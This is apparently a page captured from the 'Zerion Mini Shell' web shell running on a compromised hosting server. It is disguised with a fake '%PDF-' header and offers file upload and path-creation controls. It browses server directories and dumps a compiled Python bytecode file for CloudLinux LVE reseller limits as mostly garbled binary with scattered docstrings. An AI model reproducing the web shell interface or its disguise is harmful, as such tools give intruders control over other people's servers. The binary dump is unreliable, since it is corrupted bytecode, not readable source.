%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/227033/root/opt/alt/python37/lib/python3.7/site-packages/__pycache__/
Upload File :
Create Path :
Current File : //proc/227033/root/opt/alt/python37/lib/python3.7/site-packages/__pycache__/lveapi.cpython-37.pyc

B

L#Lb�L�@s\ddlmZddlmZddlmZmZddlZddlZddlZddl	Z	ddl
Z
ddlmZddl
mZddlmZddlmZmZdd	lmZyddlZWnek
r�dZYnXdd
lmZe�ZdZdZd
ZdZGdd�de�Z Gdd�de �Z!Gdd�de �Z"Gdd�de#�Z$Gdd�de#�Z%Gdd�de�Z&Gdd�de#�Z'Gdd�de#�Z(dS)�)�print_function)�absolute_import)�map�rangeN)�Optional)�uid_max)�ProcLve)�cpapi�ClPwd)�NotSupported)�	ve_configi����reseller��c@seZdZdS)�NameMapErrorN)�__name__�
__module__�__qualname__�rr�7/opt/alt/python37/lib/python3.7/site-packages/lveapi.pyr+src@seZdZdS)�NameMapConfigErrorN)rrrrrrrr/src@seZdZdS)�NameMapNotInitializedN)rrrrrrrr3src@sXeZdZdZefdd�Zdd�Zdd�Zdd	�Zddd
�Z	dd�Z
ddd�Zdd�Zd
S)�NameMapz�
    Container for backend storing resellers_name<=>resellers_id map
    As backend store use ve.cfg

    Usage:
    >>> name_map = NameMap()
    >>> name_map.link_xml_node()

    >>> name_map.id_list()
    [1001]
    cCs||_d|_d|_dS)N)�
_xml_tag_name�	_xml_node�_reseller_id_name_map)�selfZxml_tag_namerrr�__init__CszNameMap.__init__cCs&x |��D]\}}||kr
|Sq
WdS)N)�load_from_node)r�name�name_�id_rrr�get_idIszNameMap.get_idcCs&x |��D]\}}||kr
|Sq
WdS)N)r)rr!r Z_idrrr�get_nameNszNameMap.get_namecCsdd�|��D�S)NcSsg|]\}}|�qSrr)�.0�_r!rrr�
<listcomp>Tsz#NameMap.id_list.<locals>.<listcomp>)r)rrrr�id_listSszNameMap.id_listNTcCs*|dkrd|_|�|�n||_d|_dS)aC
        Initialize NameMap. If xml_node is none,
        config will be loaded automatically
        :param use_cache: Bool whether bypass ve.cfg xml cache
        :param xml_node: !! DEPRECATED PARAM !!
                         this param is left only for
                         compatibility with our old code
        N)r�_load_resellers_map_from_ve_cfgr)r�xml_node�	use_cacherrr�
link_xml_nodeVs
	zNameMap.link_xml_nodecCsht�|_|j|d�\}}xF|D]>}|�d�}t|�d��}|r|r||jkr|j�||f�qW~~dS)zT
        Fills self._reseller_id_name_map from ve.cfg file
        :return:
        )r*�user�idN)�listr�_try_get_xml_node�getAttribute�int�append)rr*�ve_cfgr)�el_rr!rrrr(hs

z'NameMap._load_resellers_map_from_ve_cfgcCsJytj|d�\}}Wn$tjk
r8d|_td��YnX||�|j�fS)N)r*z-Error happened while loading data from ve.cfg)rZget_xml_configZBadVeConfigExceptionrr�getElementsByTagNamer)rr*r3r)rrrr/xszNameMap._try_get_xml_nodeccs�|jdkr|jdkrtd��|jrdx@|j�|j�D].}|�d�}t|�d��}|r2|r2||fVq2W|jr�x|jD]\}}||fVqrWdS)z?
        Obtain data from xml node as (name, id_) list
        NzLName map is not initialized. Use obj.link_xml_node() to get data from configr,r-)rrrr5rr0r1)rr4rr!rrrr�s
zNameMap.load_from_node)NT)T)
rrr�__doc__�LVP_XML_TAG_NAMErr"r#r'r+r(r/rrrrrr7s

rc@sjeZdZdZdd�Zdd�Zddd�Zd	d
�Zdd�Zd
d�Z	dd�Z
edd��Zedd��Z
dd�ZdS)�LvpMapzl
    Container for storing information about lve:lvp mapping
    In which reseller container stored lve
    cCs*t�|_t�|_t�|_d|_t�|_dS)N)r�name_map�dict�_id_name_map�_name_id_map�_reseller_id_map_panelr
�_pwd)rrrrr�s
zLvpMap.__init__cCs||j|<||j|<dS)N)r;r<)rrr!rrr�_add_map�s
zLvpMap._add_mapNcCs*y|j�|�jStjk
r$|SXdS)N)r>Zget_pw_by_name�pw_uidr
ZNoSuchUserException)rr�defaultrrrr@�sz
LvpMap.pw_uidcCs6|�|�}|dk	r|S|jdkr*t��|_|j�|�S)N)r@r=r	Zget_reseller_id_pairs�get)rr
�uidrrr�_get_panel_reseller_id�s


zLvpMap._get_panel_reseller_idcCsd|j�|�p|j�|�}|dk	r$|Sy|�|�}Wntk
rJd}YnX|dk	r`|�||�|S)z�
        Convert reseller name to an LVE id.
        It supports resellers without a system account (for Plesk compatibility).
        N)r9r"r<rBrDrr?)rrrCrrr�get_reseller_id�s
zLvpMap.get_reseller_idcCsn|j�|�p|j�|�}|dk	r$|Sy,t�|�j}t�|�rJ|�	||�nd}Wnt
k
rhd}YnX|S)z�
        Convert reseller id to reseller name
        It support resellers without system account (for Plesk compatibilyty)
        N)r9r#r;rB�pwd�getpwuidZpw_namer	Zis_resellerr?�KeyError)rr!rrrr�get_reseller_name�s

zLvpMap.get_reseller_namec	cs�tt���}i}xF|D]>}y|�|�||<Wqtk
rRt�tjd|�YqXqWxTtjdd�D]D\}}|�|�}|dkr�t�tjd|�qf|�	|d�}||fVqfWdS)z�
        This method loops over all user:reseller pairs in control panel
        and returns appropriate lve_id:lvp_id pairs.
        THIS METHOD WON'T CHECK IF 'RESELLER LIMITS' IS ENABLED IN ve.cfg
        zIReseller %s still exists in control panel, but absent in /etc/passwd file)�cploginr
)ZkeylsNzEuser %s still exists in control panel, but absent in /etc/passwd filer)
�setr	�	resellersrEr�syslog�LOG_WARNINGZcpinfor@rB)rrL�
reseller_uidsr
rJ�lve_id�lvp_idrrr�
lve_lvp_pairs�s$

zLvpMap.lve_lvp_pairsccsxt��D]
}|Vq
WdS)N)r	rL)�
reseller_namerrrrL�szLvpMap.resellersc	Csdt�}t�|�}xN|D]F}yt�|�j}|�|�Wqtk
rZt�tj	d|�YqXqW|S)z:
        Obtain from control panel resellers uids
        zEuser %s still exists in control panel, but absent in /etc/passwd file)
r.r	�reseller_usersrF�getpwnamr@r2rHrMrN)rZuidsrTr,r!rrrrO�s

zLvpMap.reseller_uidscCs|�|�}|�|�S)N)rIrO)rrQrSrrr�lvp_lve_id_list
s
zLvpMap.lvp_lve_id_list)N)rrrr6rr?r@rDrErIrR�staticmethodrLrOrVrrrrr8�s
r8c@seZdZdS)�
PyLveErrorN)rrrrrrrrXsrXc@sleZdZdZedd��Zdd�Zdd�Zdd	�Ze	d
ddfd
d�Z
dd�Zdd�Zdd�Z
eefdd�ZdS)�PyLvezA
    Wrapper for generate traceback with pretty descriptions
    cCst|t�o|tjko|dkS)Nr)�
isinstancer1�errnoZENOSYS)�coderrr�_code_is_errorszPyLve._code_is_errorcsBt�|jj�r6d��fdd�t��D��}d�|�}nt��}|S)Nz, cs(g|] }|�d�sd�|t�|���qS)r%z{}={})�
startswith�format�getattr)r$r%)�arg_varrrr& sz%PyLve._arg_to_str.<locals>.<listcomp>z<liblve_settings object {}>)rZ�_pylve�liblve_settings�join�dirr_�str)rraZliblve_settings_attrZarg_var_strr)rar�_arg_to_strs
zPyLve._arg_to_strc

s�|�d�j�}|�d�j�}|||�}��|�}|rZ�jrZt��j�|||�}��|�}t||j	|j
d�tt
�j|���fdd�|��D��d�}�jdkr�t�jjf|���jdkrƈj��|s�|r�|jf|�}	t|	��|S)	NZerr_msg�ignore_errorz, cs"g|]\}}d�|��|���qS)z{}={})r_rg)r$�k�v)rrrr&3sz&PyLve._wrapped_fun.<locals>.<listcomp>)r\Zfun_name�moduleZargs_�r)�pop�default_msg_templaterhr]�_retry�timeZsleep�_retry_timer:rrrdr.rrg�items�debug�print�debug_msg_templater_�	traceback�print_stackrX)
r�call�args�kwargsZmsg_templaterhr\Zis_errorZformat_args�msgr)rr�_wrapped_fun&s*







zPyLve._wrapped_funcs��fdd�}|S)Ncs�j�f|�|�S)N)r|)ryrz)rxrrr�fun>szPyLve._wrap_code.<locals>.funr)rrxr}r)rxrr�
_wrap_code=szPyLve._wrap_codeTg�������?rcCsN||_|jdkrtd�|_d|_d|_d|_||_||_t�|_	||_
|j��|_|jj
|_
|�|jj�|_|jj|_|�|jj�|_|�|jj�|_|jj|_|�|jj�|_|�|jj�|_|�|jj�|_|�|jj�|_|�|jj�|_t|d��rJ|�|jj�|_|�|jj�|_|�|jj�|_|�|jj�|_|�|j�|_dS)Nrrvz/Error code {code}; {module}.{fun_name}({args_})zBDEBUG [lvectl]: call {module}.{fun_name}({args_}) with code {code}F�lve_lvp_create)rs�
__import__rvrnrurhrbror�_procrqZlve_get_api_version�api_versionZ
initializer~Z	lve_startrcZ
lve_create�lve_destroy�lve_infoZlve_set_default�	lve_setupZ
lve_enter_pidZlve_enter_pid_flagsZ
lve_leave_pid�hasattrrZlve_lvp_destroy�lve_lvp_map�lve_lvp_move�
lve_lvp_setup)r�pylveZretryZ
retry_tymersrrrrBs8




zPyLve.__init__cCst|jd�S)zB
        Check in pylve binding reseller limits supported
        r)r�rb)rrrr�resellers_supportedcszPyLve.resellers_supportedcCs(y|�|�dStk
r"dSXdS)zD
        Check if lve exists in kernel
        :rtype: bool
        TFN)r��OSError)rrPrrr�
lve_existsis

zPyLve.lve_existsc		Cs�|dkr|j�||�Si}xr|j�|�D]b}yH|�|�}|||<|j|jkrr|�|�}t|j|j�|_|�||�Wq(tk
r�Yq(Xq(W|�	|jj�}|||dd�}x@|j�|�D]0}||kr�|�|||�q�|�||�|��q�W|SdS)a�
        Wrapper for lve_lvp_setup.
        When reseller's limits changed,
        we should iterate over his user's limits
        and set them again;

        This behaviour is needed cause kernel
        does not update users limits after
        changing reseller's one

        Adjust parameters for top level container.
        :param int lvp_id: top level container ID, 0 by default;
        :param settings: liblve_settings instance.
        :return: 0 or errno value
        rT)rhN)
rbr�r�Zlve_id_listr�Zls_cpu�minr�r�r~)	rrQZsettingsZreal_lve_settingsrPZ
real_settingsZ
temp_settingsZ_lve_lvp_setup�resultrrrr�vs(


zPyLve.lve_lvp_setupc	CsPx:t|d|�D](}y|�|�Wqtk
r6|SXqWtd||f��dS)z�
        Iter over lves and find available one.
        :param int start: value to start search from; UID_MAX by default
        :param int stop: max value when we will stop search
        :return int: lve_id
        rlz)Unable to find free lve in range (%i, %i)N)rr�r�rX)r�start�stoprPrrr�get_available_lve_id�s
zPyLve.get_available_lve_idN)rrrr6rWr]rgr|r~r�rr�r�r��UID_MAX�
MAX_LVE_IDr�rrrrrYs!
7rYc@sVeZdZddd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Zdd�Z	dd�Z
dd�ZdS)�LveNcCs(|pt�|_|pt�|_|p t�|_dS)N)r�procrY�pyr8r)rr�r�rrrrr�szLve.__init__ccsJt|jj���}x4|j��D]&\}}||kr8||fVq|dfVqWdS)a5
        Obtain {lve id}:{lvp id} pairs iterator based on ve.cfg config
        (detect enabled resellers containers)

        This method (unlike LvpMap.lve_lvp_pairs) will check
        if reseller is enabled in ve.cfg and return lvp_id=0
        for users of reseller with disabled reseller limits
        rN)rKrr9r'rR)rZenabled_lvp_idrPrQrrr�lve_id_lvp_id_pairs�s
	zLve.lve_id_lvp_id_pairscCs&x |��D]\}}||kr
|Sq
WdS)z\
        Obtain lvp id based on ve.cfg config (detect enabled resellers containers)
        r)r�)rrPZlve_id_Zlvp_id_rrr�lve2lvp�szLve.lve2lvpcOs|tj�|j���r&|j���|d�}nd}|jj|f|�|�|dkrxyt	�
|�|j�||�Wntk
rvYnXdS)zH
        safe destroy lve container with preserving lvp mapping
        rN)
�os�path�existsr�Zproc_lve_maprrBr�r�rFrGr�rH)rrPryrzrQrrrr��s
zLve.lve_destroycCsd|j��}xT|��D]H\}}|�|d�|kr|jj|d�sF|j�|�|j�||�|||<qWdS)z4
        Load lve_id:lvp_id map to kmod-lve
        r)rQN)r�rr�rBZ	exist_lvpr�rr�)rZ
proc_map_dictrPrQrrr�	_sync_map�s
z
Lve._sync_mapcCs&y|��Wntk
r YnXdS)zZ
        wrapped _sync_map function for prevent error if some cpapi not supported
        N)r�r)rrrr�sync_map�szLve.sync_mapcCs"yt��Stk
rdSXdS)z^
        Check if current panel supported for reseller's limits;
        :rtype: bool
        FN)r	Zis_reseller_limits_supportedr)rrrr�is_panel_supportedszLve.is_panel_supportedcCst|j��|j��|��f�S)zo
        Check present all needed (kmod-lve, liblve, /proc/lve, panel) for manipulate resellers limits
        )�allr�r�r�r�)rrrr�reseller_limit_supporteds
zLve.reseller_limit_supportedcCst|j��|j��f�S)zh
        Check present all needed (kmod-lve, liblve, /proc/lve) for manipulate resellers limits
        )r�r�r�r�)rrrr�is_lve10szLve.is_lve10)NNN)rrrrr�r�r�r�r�r�r�r�rrrrr��s
		
r�))Z
__future__rr�builtinsrrr�r[rMrprF�typingrZclcommon.clfuncrZclcommon.clprocrZclcommonr	r
Zclcommon.cpapi.cpapiexceptionsrr��ImportErrorZ
clveconfigrr�r�r7Z
LVE_NO_UBCZLVE_NO_MAXENTER�	Exceptionrrr�objectrr8rXrYr�rrrr�<module>	s>
^}'

Zerion Mini Shell 1.0